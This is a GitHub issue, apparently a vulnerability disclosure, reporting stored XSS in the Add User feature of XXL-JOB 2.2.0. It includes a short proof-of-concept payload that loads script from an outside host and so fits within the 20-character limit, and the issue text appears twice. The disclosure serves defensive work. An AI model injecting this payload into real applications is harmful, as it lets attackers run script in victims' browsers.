XXL-JOB 2.2.0 allows Stored XSS (in Add User) to bypass the 20-character limit via xxl-job-admin/src/main/java/com/xxl/job/admin/controller/UserController.java.
Please answer some questions before submitting your issue. Thanks!

### Which version of XXL-JOB do you using?
v2.2.0
### Expected behavior
Add User。
### Actual behavior
Add User Stored XSS vulnerabilities . Escape 20 length limit
### Steps to reproduce the behavior
url：https://github.com/xuxueli/xxl-job/blob/master/xxl-job-admin/src/main/java/com/xxl/job/admin/controller/UserController.java
![image](https://user-images.githubusercontent.com/13534268/99511776-a9427b00-29c3-11eb-8c9a-8e8fd242a002.png)
poc： <script/src=//14.rs>
![image](https://user-images.githubusercontent.com/13534268/99512016-f6bee800-29c3-11eb-8ec1-295659b483ea.png)
The page automatically loads and triggers XSS 
![image](https://user-images.githubusercontent.com/13534268/99512459-6e8d1280-29c4-11eb-9fcb-4873300377a5.png)
![image](https://user-images.githubusercontent.com/13534268/99512814-df342f00-29c4-11eb-9a27-2f982e1f7d3f.png)


### Other information
Restoration suggestions：

v2.2.0 Add User Stored XSS vulnerabilities . Escape 20 length limit
This is a GitHub Issue
repo:xxl-job
owner:xuxueli
Title : v2.2.0 Add User Stored XSS vulnerabilities . Escape 20 length limit
Issue date:

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Please answer some questions before submitting your issue. Thanks!

### Which version of XXL-JOB do you using?
v2.2.0
### Expected behavior
Add User。
### Actual behavior
Add User Stored XSS vulnerabilities . Escape 20 length limit
### Steps to reproduce the behavior
url：https://github.com/xuxueli/xxl-job/blob/master/xxl-job-admin/src/main/java/com/xxl/job/admin/controller/UserController.java
![image](https://user-images.githubusercontent.com/13534268/99511776-a9427b00-29c3-11eb-8c9a-8e8fd242a002.png)
poc： <script/src=//14.rs>
![image](https://user-images.githubusercontent.com/13534268/99512016-f6bee800-29c3-11eb-8ec1-295659b483ea.png)
The page automatically loads and triggers XSS 
![image](https://user-images.githubusercontent.com/13534268/99512459-6e8d1280-29c4-11eb-9fcb-4873300377a5.png)
![image](https://user-images.githubusercontent.com/13534268/99512814-df342f00-29c4-11eb-9a27-2f982e1f7d3f.png)


### Other information
Restoration suggestions：

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